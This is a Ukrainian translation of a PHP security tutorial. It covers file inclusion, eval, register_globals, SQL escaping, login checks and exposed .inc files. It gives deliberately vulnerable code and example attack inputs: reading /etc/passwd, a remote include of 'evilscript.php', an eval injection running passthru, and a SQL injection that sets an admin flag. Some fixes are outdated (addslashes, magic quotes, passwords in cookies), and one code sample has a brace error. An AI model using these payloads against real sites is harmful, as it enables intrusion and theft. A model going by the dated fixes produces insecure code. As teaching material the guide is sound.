PHP помилки безпеки

Мета цього документа – інформувати PHP програмістів про часто зустрічаються помилках безпеки, Які можуть залишитися непоміченими в PHP скриптах. У той час як багато хто з нижченаведених концепцій здаються не позбавленими здорового глузду, вони, на жаль не завжди практикуються. Після застосування наступних практик в написанні програм, Ви зможете виключити переважна більшість дір безпеки, які містять багато скрипти. Багато з цих дірок безпеки були знайдені в часто використовуваних open source (Відкритих джерелах) і комерційних PHP скриптах, в минулому.

Найбільш важливий урок, отриманий від вивчення цієї статті, у тому, що ви повинні ніколи не довіряти даним отриманим від користувача чекаючи саме те що потрібно.

Шлях, яким більшість PHP скриптів були скомпрометовані – ввівши непередбачені дані використати діри безпеки містяться в скрипті.

Завжди тримайте наступні принципи в розумі, коли пишете свої скрипти. пам'ятаєте такі принципи:

1. Ніколи не використовуйте include, require і не відкривайте файл ім'я, якого базується на вводі користувача, ретельно не перевіривши його перед цим.

Розглянемо наступний приклад:

if(isset($page)) 
{ 
 include($page); 
}

Тому що тут не виробляється перевірки даних містяться в $ page, зловмисник, гіпотетично, може викликати ваш скрипт подібним чином (передбачається register_globals встановлено в ON):

script.php?page=/etc/passwd

Що запросить ваш скрипт підключити (include) Файл паролів сервера / etc / passwd.

При включенні не PHP файлу за допомогою include() або require(), Він буде відображений у вигляді HTML / Text не оброблений як код PHP.

На багатьох установках PHP, функції include() І require() Можуть підключати видалені файли. Якщо зловмисник викличе ваш скрипт подібним чином

script.php?page=http://mysite.com/evilscript.php

Він отримає можливість через evilscript.php послати будь PHP код, який він чи вона побажає, щоб виконав ваш скрипт

Уявіть, якщо користувач пошле код видаляє вмістом вашої бази даних або перенаправить секретну інформацію прямо в браузер.

Рішення: перевіряти введення. Один з методів перевірки – створити список дозволених сторінок. Якщо вхідні дані не відповідає який-небудь з цих сторінок, може бути виведена помилка.

$pages = array('index.html', 'page2.html', 'page3.html');  
if( in_array($page, $pages) ) 
{ 
    include($page); 
{ 
else 
{    
  die("Nice Try."); 
} 

2. Будьте обережні з eval()

Розміщення значень введених користувачем у функції eval() може бути вкрай небезпечним. Ви по суті надаєте зловмисникові можливість виконати будь-яку команду, яку він або вона бажає! Ви можете передбачити введення в випадаючому меню із зазначених вами опцій, але ваш користувач може вирішити послати вхідні дані схожим чином:

script.php?input=;passthru("cat /etc/paswd");

Помістивши свій власний код у виразі, користувач може викликати вашу програму для повного виведення файлу / etc / passwd

Використовуйте eval () як можна рідше, і в що б те не стало, перевіряйте вхідні дані. Він повинен використовуватися тільки коли це вкрай необхідно – коли використовується динамічно згенерований PHP код. Якщо ви використовуєте його для підстановки шаблонних змінних в рядок або підстановки значень введених користувачем, то ви використовуєте його з помилкових міркувань. Спробуйте sprintf () або систему шаблонів (template system) натомість.

3. Будьте обережні, коли використовуєте register_globals = ON

Це властивість стало головним предметом розбіжностей з тих пір як з'явилося. Спочатку воно задумувалося для того щоб зробити програмування на PHP простіше (і воно це зробило), але зловживання їм часто веде до дірок безпеки.

Рекомендується, щоб Ви використовували суперглобальні змінні, працюючи з введенням ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

Наприклад, скажімо, у Вас є змінна, яка вказує яку сторінку підключати:

include($page);

але ви маєте на увазі, що Ваша целевеая $ page визначена у файлі конфігурації або де-небудь у скрипті, і не приходить із введення користувача. Одного разу ви забудете обумовити $ page. Якщо register_globals встановлено в On, зловмисник може заволодіти та визначити $ page для Вас, викликавши Ваш скрипт подібним чином:

script.php?page=http://www.example.com/evilscript.php

Я рекомендую Вам розробляти з register_globals встановленим в OFF, і використовувати суперглобальні змінні, коли отримуєте введення користувача. До того ж, Ви завжди повинні розробляти з повним звітом про помилки, який може бути вказаний як (у початку вашого скрипта):

error_reporting(E_ALL);

Таким чином, ви отримаєте попередження про кожну викликається Вами змінної, яка не була визначена.

Так, PHP не зобов'язує Вас зумовлювати змінні так там можуть бути повідомлення, які ви можете проігнорувати, але це допоможе вам виловити непроініціалізірованние змінні, які ви отримуєте з введення або інших джерел. У попередньому прикладі, коли $ page передавалася в include(), PHP видав би повідомлення, про те, що $ page не визначена. Хочете ви чи ні використовувати register_globals вирішувати Вам, але будьте впевнені в тому, що Ви розумієте його переваги і недоліки і як уникнути можливих дір безпеки.

4. Ніколи не виконуйте неекранованих запитів.

PHP має властивість, включене за замовчуванням, автоматично екранувати (додаючи попереду бакслеш "\") певні символи, які надходять з GET, POST, або COOKIE. Одиночна лапки (') приклад одного з символів які екрануються автоматично. Це робиться так що якщо Ви дозволите вхідні змінні в Ваш SQL запит, вона не інтерпретується одиночної лапками частини запиту. Скажімо, Ваш користувач ввів $ name через форму і Ви виконали цей запит:

UPDATE users SET Name='$name' WHERE ID=1;

Зазвичай, якщо воно містить введене $ name з ординарної лапками в ньому, він буде екранований, так MySQL побачить наступне:

UPDATE users SET Name='Joe\'s' WHERE ID=1;

У деяких випадках, ви можете застосувати stripslashes () до вхідних змінних. Якщо ви ставите змінну в запит, для впевненості скористайтеся addslashes () або mysql_escape_string () для екранування одиночних лапок перед виконанням запиту. Уявіть якщо неекранований запит пройшов, і зловмисник ввів частину запиту як внутрішнє ім'я!

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1;

У полі форми, ввів Joe ', Admin = '1

Як своє ім'я і так як одиночні лапки не були екрановані, він або вона зможе закінчити визначення імені, помістивши кому, і встановивши іншу зміну звану Admin!

Кінцевий, сумний, запит буде виглядати як:

У деяких конфігураціях, magic_quotes_gpc (властивість, що автоматично додає слеш до всього введення) встановлено в OFF. Ви можете використовувати функцію get_magic_quotes_gpc() Щоб переглянути включено воно чи ні (повертає true або false). Якщо поверне false, просто скористайтеся addslashes() Для додавання слешів до всіх вхідних даних (простіше якщо ви іспоьзуете $ _POST, $ _GET і $ _COOKIE або $ HTTP_POST_VARS, $ HTTP_GET_VARS, і $ HTTP_COOKIE_VARS, замість суперглобальних змінних так як ви можете покроково пройтися по цих масивів використовуючи цикл foreach () і додаючи слеші до кожного).

5. Для захищених зон, використовуйте сесії або перевіряйте кожен раз login.

У деяких випадках, де програмісти використовують тільки один з видів login.php скрипт спершу перевіряє ім'я користувача та пароль (введені через форму), перевіряючи адміністратору чи вони належать або дійсному користувачеві, і встановлюють змінну через cookie, або ховають прямо, в HTML, як приховану змінну. Потім в коді, вони переглядають, чи мають вони доступ, на зразок:

if($admin) 
{ 
   // let them in 
} 
else 
{ 
   // kick them out 
} 

Вищенаведений код робить фатальне допущення, що змінна $ admin може прийти тільки з cookie або полів введення форми, які зловмисник не контролює.

Однак, не в цьому випадку. З увімкненими register_globals, вбудовування одержуваного введення в змінну $ admin також легковажно як виклик скрипта як:

script.php?admin=1

Більш того, навіть якщо ви використовуєте суперглобальні змінні $ _COOKIE або $ _POST, зловмисник може запросто фальсифікувати cookie або створити свою власну HTML форму щоб послати будь-яку інформацію у Ваш скрипт.

Є два хороші вирішення цієї проблеми. Перший – тим же шляхом встановити змінну $ admin, але в той же час встановлювати змінну $ admin як сесійний змінну. У цьому випадку, вона зберігається на сервері і ймовірність фальсифікації набагато нижче.

При повторних зверненнях до цього ж скрипту, ваша попередня користувальницька сесійний інформація буде доступна на сервері, і Ви зможете визначити чи є користувач адміністратором як:

if( $_SESSION['admin'] )

Другий метод це зберігати тільки ім'я користувача та пароль у cookie, і при кожному зверненні до скрипту, звіряти ім'я користувача та пароль і перевіряти користувач це або адміністратор. Ви можете створити дві функції – одну званої validate_login ($ username, $ password), яка перевіряє інформацію про користувача логіни і одну званої is_admin ($ username), яка базу даних переглянути належить Чи ім'я користувача адміністратора. Код необхідно розмістити на початку кожного захищеного скрипта.

if (! validate_login ($ _COOKIE ['username'], $ _COOKIE ['password'])) 
{ 
  echo "Sorry, invalid login"; 
  exit; 
} 
// the login is ok if we made it down here 
if( !is_admin( $_COOKIE['username'] ) ) 
{ 
   echo "Sorry, you do not have access to this section"; 
   exit; 
}

Особисто Я рекомендую використовувати сесії, тому що останнє рішення не масштабується.

6. Якщо ви не хочете, щоб вміст файлу було переглянуто, дайте файлу. Php розширення.

Це часто практикувалося, деякий час, називати підключаються або бібліотечні файли с. Inc розширенням. Проблема в наступному: якщо зловмисник просто вкаже. Inc файл у своєму браузері, файл буде виведений як звичайний текст не оброблений як PHP. У разі якщо браузеру не сподобається тип файлу, швидше за все, буде запропоновано завантажити його. Уявіть якщо файл містить ваш логін і пароль до бази даних, або ще більш секретну інформацію.

Це стосується будь-яких інших розширень крім. Php (і кількох інших), таким чином. Conf або. Cfg файли не будуть у безопасності.Решеніе це додавати. Php розширення в кінці них. Так як ви підключаєте файли або конфігураційні файли зазвичай тільки визначаючи змінні і / або функції і явно не виводьте що-небудь, якщо ваш користувач спробує завантажити їх, наприклад, у свій браузер:

http://yoursite.com/lib.inc.php 

вони швидше за все взагалі не будуть відображені, якщо ваш lib.inc.php не виводить що-небудь. Таким чином, файл буде оброблений як PHP замість, виведення вашого коду.

Також є повідомлення від людей додають Apache директиви, які забороняють доступ до. Inc файлів, а проте, Я не рекомендую цього через нестачу переносимості. Якщо ви дійсно дозволите. Inc файли і цю Apache директиву, забороняючи доступ до них, і в один день ви перенесете ваші скрипти на інший сервер і забудете помістити директиву в Apache, Ви загальнодоступні.

Автор: Дейв Кларк (Dave Clark)
Переклав: Байзульдін Тимур Муратович.
Джерело: http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*